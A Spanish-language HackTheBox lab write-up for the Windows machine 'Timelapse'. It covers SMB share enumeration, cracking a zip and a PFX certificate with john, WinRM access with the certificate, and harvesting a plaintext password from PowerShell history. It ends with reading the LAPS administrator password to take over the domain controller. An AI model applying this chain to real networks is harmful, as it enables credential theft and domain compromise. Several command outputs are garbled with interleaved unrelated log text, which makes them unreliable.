

Timelapse

HackTheBox — Writeup

Sistema Operativo	Windows
Dificultad	Easy
Fecha	11 de septiembre de 2026
Autor	sunwhite

Índice

1. Reconocimiento	2
1.1. Escaneo de puertos	2
1.2. Enumeración de Servicios	2
2. Acceso Inicial y Movimiento Lateral	5
3. Escalada de Privilegios	6
4. Referencias	6

1. Reconocimiento

1.1. Escaneo de puertos

El escaneo inicial revela los servicios típicos de una máquina Windows. DNS, LDAP, RPC y Kerberos. Se nos revela también el common name del equipo: dc01.timelapse.htb.

```

PORT      STATE SERVICE      VERSION
53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-09-11 00:00:29Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: timelapse.htb., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
596/tcp   open  tcpwrapped
6268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: timelapse.htb., Site: Default-First-Site-Name)
6269/tcp  open  tcpwrapped
5986/tcp  open  ssl/http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_ http-server-header: Microsoft-HTTPAPI/2.0
|_ http-title: Not Found
|_ ssl-alpn:
|_ http/1.1
|_ ssl-date: 2026-09-11T00:10:01+00:00; +7h59m58s from scanner time.
|_ ssl-cert: Subject: commonName=dc01.timelapse.htb
|_ Not valid before: 2021-10-25T14:05:29
|_ Not valid after: 2022-10-25T14:25:29
9389/tcp  open  mc-mgmt      NET Message Framing
49667/tcp open  msrpc        Microsoft Windows RPC
49673/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc        Microsoft Windows RPC
49683/tcp open  msrpc        Microsoft Windows RPC
49684/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb-security-mode:
|_ 3:1:1:
|_ Message signing enabled and required
|_ smb-time:
|_ date: 2026-09-11T00:09:22
|_ start_date: N/A
|_ clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m57s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 302.06 seconds

```

1.2. Enumeración de Servicios

Podemos intentar con RPC, si se intenta iniciar con una sesión anónima se tiene acceso y podemos correr el comando srvinfo, sin embargo al intentar listar dominios o shares no se tiene éxito:

```

~ > rpcclient -U"S\"s10:129:227:11313
Password for [WORKGROUP\]: ngkaws
rpcclient$>psrvinfo ( https://nmap.org ) at
Nmap_sca10:129:227:1130Wk2Sv2PDC1Tim NT
Host is platform_idatenc:). 500
Not showos versiontered :cp port10:0o-respons
PORT server typeICE : 0x80102b
rpcclient$>r domain Simple DNS F

```

Si hacemos lo mismo con una sesión SMB podemos listar varios shares y vemos también que hay un share llamado Shares al cual podemos acceder sin contraseña.

```

~ 8s > smbclient -N -L //10.129.227.113

      Sharename      Type      Comment
      -----
ADMIN$      Disk      Remote Admin
C$          Disk      Default share
IPC$        IPC        Remote IPC
NETLOGON    Disk      Logon server share
Shares      Disk
SYSVOL      Disk      Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.227.113 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

```

```
~ > smbclient //10.129.227.113/Shares
Service detection performed. Please report any
Password for [WORKGROUP\khangkaw]:) scanned in
Try "help" to get a list of possible commands.
smb: \> >
```

Accediendo al share HelpDesk encontramos un archivo de instalación para LAPS (Local Administrator Password Solution) y lo que parecen ser algunos archivos de documentación. En Dev encontramos un archivo llamado winrm_backup.zip. Obviamente el nombre llama la atención y lo obtenemos con el comando get.

```

C:\> smbclient //10.129.227.113/Shares

Password for [WORKGROUP\khangkw]:
Try "help" to get a list of possible commands.

smb:> ls
.                  D          0 Mon Oct 25 10:39:15 2021
..                 D          0 Mon Oct 25 10:39:15 2021
LAPS_000000000000 D          0 Mon Oct 25 14:40:06 2021
HelpDesk           D          0 Mon Oct 25 10:48:42 2021
6367231 blocks of size 4096, 1337080 blocks available

smb:> cd HelpDesk
smb: HelpDesk> ls
.                  D          0 Mon Oct 25 10:48:42 2021
..                 D          0 Mon Oct 25 10:48:42 2021
LAPS_x64.msi       D          0 Mon Oct 25 09:57:56 2021
LAPS_datasheet.docx D          0 Mon Oct 25 09:57:46 2021
LAPS_operationsGuide.docx A 641378 Mon Oct 25 09:57:40 2021
LAPS_technicalSpecification.docx A 72683 Mon Oct 25 09:57:44 2021
6367231 blocks of size 4096, 1337536 blocks available

smb: HelpDesk> cd ..
smb:> ls
.                  D          0 Mon Oct 25 10:39:15 2021
..                 D          0 Mon Oct 25 10:39:15 2021
Dev                D          0 Mon Oct 25 14:40:06 2021
HelpDesk           D          0 Mon Oct 25 10:48:42 2021
6367231 blocks of size 4096, 1337536 blocks available

smb:> cd Dev
smb: Dev>
smb: Dev> ls
.                  D          0 Mon Oct 25 14:40:06 2021
..                 D          0 Mon Oct 25 14:40:06 2021
winrm_backup.zip   A 2611 Mon Oct 25 10:46:42 2021
6367231 blocks of size 4096, 1337536 blocks available

smb: Dev> get winrm_backup.zip
getting file `dev\winrm_backup.zip' of size 2611 as winrm_backup.zip (3.0 KiloBytes/sec) (average 3.0 KiloBytes/sec)
smb: Dev>

```

Intentando descomprimir el archivo se nos pide una contraseña. Podemos usar uno de los scripts que nos permiten extraer y forzar hashes de muchos tipos de archivos con la utilidad `john the ripper`.

Con el comando `zip2john winrm_backup.zip >zip john` logramos formatear el archivo en un formato aceptable para que john the ripper para luego entonces intentar extraer la contraseña del hash. Frozando con john obtenemos una contraseña

```

~/HTB/Timelapse > zip2john winrm_backup.zip > zip.john
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmlen=2555, crc=12EC5683 ts=72AA cs=72aa type=8
~/HTB/Timelapse > ls
winrm_backup.zip  zip.john
~/HTB/Timelapse > john zip.john -wordlist:/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelacy (winrm_backup.zip/legacyy_dev_auth.pfx)
lg 0:00:00:00 DONE (2026-09-10 10:30) 1.666g/s 5785Kp/s 5785Kc/s 5785Kc/s susu00xoxlove..superrbd
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

Con el comando unzip descomprimos el archivo y el resultado es un archivo pfx. Este tipo de archivo guardan certificados digitales, incluyendo certificados intermedios y claves critpográficas. Esta clase de archivos se usa para instalar certificados SSL, firmar código o autenticar clientes. Si intentamos leerlo nos pide una contraseña, sin embargo es una distinta de la que encontramos previamente.

```

2026-09-10 10:19:34 VERIFY OK: depth=1, C=GR, O=Hack The Box, OU=Systems, CN=HTB VPN
~/HTB/Timelapse 1 > openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem
Enter Import Password:
Mac verify error: invalid password?has EKU (str) TLS web Client Authentication, expects TLS Web
2026-09-10 10:19:34 ++ Certificate has EKU (oid) 1.3.6.1.5.5.7.3.2, expects TLS Web
~/HTB/Timelapse 1 > openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem
Enter Import Password:
Mac verify error: invalid password?n=0, C=GR, O=Hack The Box, OU=Systems, CN=us-de

```

También podemos usar john para intentar extraer la contraseña. Con python3 usamos pfx2john.py.

```

~/HTB/Timelapse 127 > python3 /usr/share/john/pfx2john.py legacyy_dev_auth.pfx > pfx.john
2026-09-10 09:25:21 Data Channel: cipher= AES-256-CBC, auth= SHA256, peer-id= 0, compression= 100
~/HTB/Timelapse > john pfx.john -wordlist:/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x]) Root Certificate A
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy (legacyy_dev_auth.pfx)
lg 0:00:01:03 DONE (2026-09-10 10:51) 0.01564g/s 50579p/s 50579c/s 50579c/s thuglife06..throughthemaze
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

Una vez extraída la contraseña podemos intentar leer el archivo.

```
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pem
```

```
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes
```

```

~/HTB/Timelapse 11s > openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out cert.pem
Enter Import Password:
2026-09-10 10:19:34 validating certificate extended key usage
~/HTB/Timelapse 6s > ls
cert.pem  key.pem  legacyy_dev_auth.pfx  pfx.john  winrm_backup.zip  zip.john
2026-09-10 10:19:34 ++ Certificate has EKU (str) TLS web Server Authentication, expects TLS

```

2. Acceso Inicial y Movimiento Lateral

Como ya se ha mencionado anteriormente estos archivos junto con su certificado y llave, sirve para autenticar clientes. Podemos usar WinRM para intentar autenticarnos y se tiene éxito, se obtiene la flag de usuario.

```
~/HTB/Timelapse 25s > sudo evil-winrm -i 10.129.227.113 -c cert.pem -k key.pem -S -l peer certificate 256 bit ED25519, signature
[2026-09-11 11:34:47] INFO: depth=2 <CDB> @Hack The Box, QUESYSTEMS, CN=HTB VPN, Root Certificate Authority
Evil-WinRM shell v3.5 [2026-09-11 11:34:47] INFO: depth=1 <CDB> @Hack The Box, QUESYSTEMS, CN=HTB VPN, us-dedivip2, Issuing CA
[2026-09-11 11:34:47] VERIFY OK: depth=0
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
[2026-09-11 11:34:47] INFO: depth=1 <CDB> @Hack The Box, QUESYSTEMS, CN=HTB VPN, expects TLS Web Client Authentication, expects TLS Web Server Authentication
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
[2026-09-11 11:34:47] INFO: depth=2 <CDB> @Hack The Box, QUESYSTEMS, CN=HTB VPN, expects TLS Web Client Authentication, expects TLS Web Server Authentication
Warning: SSL enabled [2026-09-11 11:34:47] INFO: OK
[2026-09-11 11:34:47] VERIFY OK: depth=0 <CDB> @Hack The Box, QUESYSTEMS, CN=us-dedivip2
Info: Establishing connection to remote endpoint [2026-09-11 11:34:47] INFO: TLS_AES_256_GCM_SHA384, peer certificate 256 bit ED25519, signature
*Evil-WinRM* PS C:\Users\legacy\Documents>
```

Entramos con el usuario legacyy.

Enumerando básicamente el sistema no se encuentra mucho muy interesante. Podemos leer el historial de comandos de la siguiente forma:

type \$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

```
*Evil-WinRM* PS C:\Users\legacy\Documents> type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KwaxuaV' -AsPlainText -Force
$sc = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
Invoke-Command -computername localhost -credential $sc -port 5986 -usessl -
SessionOption $so -scriptblock (whoami)
get-aduser -filter * -properties *
exit
```

Obtenemos un usuario llamado svc_deploy y una contraseña. Si nos autenticamos con Evil-WinRM tenemos éxito:

```
~ 1 31s > evil-winrm -i 10.129.60.183 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KwaxuaV' -S
[2026-09-11 11:35:47] INFO: depth=2 <CDB> @Hack The Box, QUESYSTEMS, CN=HTB VPN, Root Certificate Authority
[2026-09-11 11:35:47] INFO: depth=1 <CDB> @Hack The Box, QUESYSTEMS, CN=HTB VPN, us-dedivip2, Issuing CA
[2026-09-11 11:35:47] VERIFY OK: depth=0
Evil-WinRM shell v3.5 [2026-09-11 11:35:47] INFO: depth=1 <CDB> @Hack The Box, QUESYSTEMS, CN=HTB VPN, expects TLS Web Client Authentication, expects TLS Web Server Authentication
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
[2026-09-11 11:35:47] INFO: depth=2 <CDB> @Hack The Box, QUESYSTEMS, CN=HTB VPN, expects TLS Web Client Authentication, expects TLS Web Server Authentication
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
[2026-09-11 11:35:47] INFO: depth=1 <CDB> @Hack The Box, QUESYSTEMS, CN=HTB VPN, expects TLS Web Client Authentication, expects TLS Web Server Authentication
Warning: SSL enabled [2026-09-11 11:35:47] INFO: OK
[2026-09-11 11:35:47] VERIFY OK: depth=0 <CDB> @Hack The Box, QUESYSTEMS, CN=svc_deploy
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>
```

3. Escalada de Privilegios

Si comenzamos a enumerar el sistema con el nuevo usuario, revisando los grupos a los que se pertenece, encontramos algo interesante.

```
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami /groups

GROUP INFORMATION
-----
Group Name                               Type                                SID                                Attributes
-----
Everyone                                 Well-known group                   S-1-1-0                           Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users         Alias                              S-1-5-32-580                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                           Alias                              S-1-5-32-545                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias                              S-1-5-32-554                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                    Well-known group                   S-1-5-2                             Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users        Well-known group                   S-1-5-11                          Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization           Well-known group                   S-1-5-15                          Mandatory group, Enabled by default, Enabled group
TIMELAPSE\LAPS_Readers                  Group                              S-1-5-21-671920749-559770252-3318990721-2601 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication        Well-known group                   S-1-5-64-10                       Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level S-1-16-8440
```

El usuario pertenece a un grupo llamado LAPS_Readers (Local Administrator Password Solution). LAPS es una herramienta de seguridad de Microsoft que genera las contraseñas para cuentas de administrador local de forma segura y también las rota para mayor seguridad. Usualmente la contraseña es la misma para todas las cuentas, simplemente se crea una y se rota cada 30 días.

Si logramos leer la contraseña de la cuenta de administrador (porque tenemos permiso) podemos acceder como NT AUTHORITY\SYSTEM.

Podemos usar el comando:

```
Get-ADComputer -Filter 'ObjectClass -eq "computer"' -Property *
```

Para obtener las propiedades de las computadoras disponibles en AD. Dentro de las propiedades de la computadora DC01 (la nuestra) podemos buscar ms-Mcs-AdmPwd, la cual contiene la contraseña.

```
msMcs-AdmPwd : False
Modified : 9/11/2026 5:13:26 PM
modifyTimeStamp : 9/11/2026 5:13:26 PM
ms-Mcs-AdmPwd : oJ4jBrw160KJo;Saxx7A4E31
ms-Mcs-AdmPwdExpirationTime : 134340776063740307
msDFS-ComputerReferenceBL : {CN=DC01,CN=Topology,CN=Domain System Volume,CN=DFS-GlobalSettings,CN=System,DC=timelapse,DC=htb}
msDS-GenerationId : {234, 142, 25, 141...}
```

Obtenemos la contraseña y obtenemos una sesión con Evil-WinRM.

```
~ 127 > evil-winrm -i 10.129.60.183 -u administrator -p 'oJ4jBrw160KJo;Saxx7A4E31' -s timelapse,DC=htb

Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reli
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> ls
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
timelapse\administrator
```

4. Referencias

■

-
-